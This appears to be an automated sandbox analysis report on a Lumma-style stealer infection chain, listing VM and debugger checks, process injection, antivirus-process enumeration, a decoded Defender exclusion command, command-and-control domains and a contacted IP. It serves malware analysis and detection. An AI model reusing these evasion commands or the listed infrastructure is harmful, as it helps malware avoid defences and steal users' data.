Source: axplong.exe, axplong.exe, 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmp, 24adfe999c.exe, 0000001D.00000000.2218060237.0000000000BAF000.00000080.00000001.01000000.00000011.sdmp, 24adfe999c.exe, 0000001D.00000002.3908335607.0000000000BB2000.00000080.00000001.01000000.00000011.sdmp, aec9ffe5ce.exe, 0000001E.00000002.2559099799.000000000031C000.00000040.00000001.01000000.00000012.sdmp, 24adfe999c.exe, 0000001F.00000002.3910066516.0000000000BB2000.00000080.00000001.01000000.00000011.sdmp, 24adfe999c.exe, 0000001F.00000000.2357213411.0000000000BAF000.00000080.00000001.01000000.00000011.sdmp, ba327bb7fd.exe, 00000020.00000002.3894801785.0000000000995000.00000040.00000001.01000000.00000013.sdmp, 24adfe999c.exe, 00000023.00000000.2466401376.0000000000BAF000.00000080.00000001.01000000.00000011.sdmp, 24adfe999c.exe, 00000023.00000002.3901366746.0000000000BB2000.00000080.00000001.01000000.00000011.sdmp, skotes.exe, 00000029.00000002.3907780729.0000000000F7C000.00000040.00000001.01000000.00000016.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: ba327bb7fd.exe, 0000002A.00000003.3843606989.0000000005578000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 0000002A.00000003.3721931086.0000000005578000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: Amcache.hve.38.dr	Binary or memory string: VMware Virtual USB Mouse
Source: I0XmI2t.exe, 0000002D.00000002.3798404157.000002B509544000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}_\|
Source: Amcache.hve.38.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.38.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.38.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.38.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.38.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.38.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2138767882.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW4Y.D
Source: Amcache.hve.38.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.38.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: rundll32.exe, 0000002B.00000002.3896527677.0000000002D9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: Amcache.hve.38.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.38.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: fkawMJ7FH8.exe, 00000001.00000003.1444858756.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\X/>m
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696497155
Source: Amcache.hve.38.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: Amcache.hve.38.dr	Binary or memory string: VMware-42 27 c7 3b 45 a3 e4 a4-61 bc 19 7c 28 5c 10 19
Source: Amcache.hve.38.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: daw21.exe, 00000017.00000002.3041283471.000000000077E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: fkawMJ7FH8.exe, 00000001.00000002.1455547542.0000000000DEA000.00000040.00000001.01000000.00000003.sdmp, axplong.exe, 00000002.00000002.1494690950.000000000072A000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000004.00000002.3896310354.000000000072A000.00000040.00000001.01000000.00000007.sdmp, 24adfe999c.exe, 0000001D.00000000.2218060237.0000000000BAF000.00000080.00000001.01000000.00000011.sdmp, aec9ffe5ce.exe, 0000001E.00000002.2559099799.000000000031C000.00000040.00000001.01000000.00000012.sdmp, 24adfe999c.exe, 0000001F.00000000.2357213411.0000000000BAF000.00000080.00000001.01000000.00000011.sdmp, ba327bb7fd.exe, 00000020.00000002.3894801785.0000000000995000.00000040.00000001.01000000.00000013.sdmp, 24adfe999c.exe, 00000023.00000000.2466401376.0000000000BAF000.00000080.00000001.01000000.00000011.sdmp, skotes.exe, 00000029.00000002.3907780729.0000000000F7C000.00000040.00000001.01000000.00000016.sdmp, ba327bb7fd.exe, 0000002A.00000002.3897630336.0000000000995000.00000040.00000001.01000000.00000013.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: Sale.com, 0000001B.00000003.3733196379.0000000001776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

API call chain: ExitProcess graph end node

graph_8-14464

Source: C:\Users\user\Desktop\fkawMJ7FH8.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\fkawMJ7FH8.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\fkawMJ7FH8.exe

Code function: 1_2_04FA02BE rdtsc

1_2_04FA02BE

Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

Code function: 8_2_00935020 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

8_2_00935020

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_0056645B mov eax, dword ptr fs:[00000030h]	4_2_0056645B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_0056A1C2 mov eax, dword ptr fs:[00000030h]	4_2_0056A1C2
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 8_2_0095519E mov edi, dword ptr fs:[00000030h]	8_2_0095519E
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 8_2_00931614 mov edi, dword ptr fs:[00000030h]	8_2_00931614
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: 10_2_00156212 mov eax, dword ptr fs:[00000030h]	10_2_00156212
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: 10_2_0014DD80 mov eax, dword ptr fs:[00000030h]	10_2_0014DD80
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: 11_2_007B6212 mov eax, dword ptr fs:[00000030h]	11_2_007B6212
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: 11_2_007ADD80 mov eax, dword ptr fs:[00000030h]	11_2_007ADD80

Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

Code function: 8_2_0093FE2C GetProcessHeap,

8_2_0093FE2C

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 8_2_00935014 SetUnhandledExceptionFilter,	8_2_00935014
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 8_2_00935020 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00935020
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 8_2_0093B4B9 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_0093B4B9
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 8_2_00934C64 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_00934C64
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: 10_2_0014A3C5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_0014A3C5
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: 10_2_0014A528 SetUnhandledExceptionFilter,	10_2_0014A528
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: 10_2_00149AD8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_00149AD8
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: 10_2_0014ED8D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_0014ED8D
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: 11_2_007AA3C5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_007AA3C5
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: 11_2_007A9AD8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_007A9AD8
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: 11_2_007AED8D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_007AED8D

Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe

Memory protected: page guard

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 185.215.113.209 80

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: daw21.exe PID: 988, type: MEMORYSTR

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

Code function: 8_2_0095519E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

8_2_0095519E

Encrypted powershell cmdline option found

Source: C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath 'C:\Users\tina\AppData\Roaming\nhj43jrxzblOJXQMNIQ'
Source: C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath 'C:\Users\tina\AppData\Roaming\nhj43jrxzblOJXQMNIQ'

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Memory written: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Memory written: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\1020934001\mdjw5me.exe	Memory written: C:\Users\user\AppData\Local\Temp\1020934001\mdjw5me.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: legs.exe, 00000008.00000002.1967196646.0000000000B06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: legs.exe, 00000008.00000002.1967196646.0000000000B06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: legs.exe, 00000008.00000002.1967196646.0000000000B06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: legs.exe, 00000008.00000002.1967196646.0000000000B06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: legs.exe, 00000008.00000002.1967196646.0000000000B06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: legs.exe, 00000008.00000002.1967196646.0000000000B06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: legs.exe, 00000008.00000002.1967196646.0000000000B06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: legs.exe, 00000008.00000002.1967196646.0000000000B06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: legs.exe, 00000008.00000002.1967196646.0000000000B06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: pancakedipyps.click
Source: Sale.com, 0000001B.00000003.3577894152.00000000016AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: fannleadyn.click
Source: Sale.com, 0000001B.00000003.3558408636.000000000157C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.la
Source: mdjw5me.exe, 0000002E.00000002.3139719449.0000000002D1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: bashfulacid.lat
Source: mdjw5me.exe, 0000002E.00000002.3139719449.0000000002D1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: tentabatte.lat
Source: mdjw5me.exe, 0000002E.00000002.3139719449.0000000002D1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: curverpluch.lat
Source: mdjw5me.exe, 0000002E.00000002.3139719449.0000000002D1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: talkynicer.lat
Source: mdjw5me.exe, 0000002E.00000002.3139719449.0000000002D1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: shapestickyr.lat
Source: mdjw5me.exe, 0000002E.00000002.3139719449.0000000002D1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: manyrestro.lat
Source: mdjw5me.exe, 0000002E.00000002.3139719449.0000000002D1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: slipperyloo.lat
Source: mdjw5me.exe, 0000002E.00000002.3139719449.0000000002D1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: wordyfindy.lat
Source: mdjw5me.exe, 0000002E.00000002.3139719449.0000000002D1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: undesirabkel.click

Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe "C:\Users\user\AppData\Local\Temp\1001527001\legs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe "C:\Users\user\AppData\Local\Temp\1004899001\am209.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe "C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe "C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe "C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe "C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe "C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe "C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe "C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Process created: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe "C:\Users\user\AppData\Local\Temp\1001527001\legs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Process created: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe "C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Process created: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe "C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe"
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Campbell Campbell.cmd & Campbell.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 370821
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Anchor" Veterinary
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Genre + ..\Mj + ..\Discs + ..\Receiving + ..\Mysterious + ..\Aka w
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\370821\Sale.com Sale.com w
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe "C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1020934001\mdjw5me.exe "C:\Users\user\AppData\Local\Temp\1020934001\mdjw5me.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
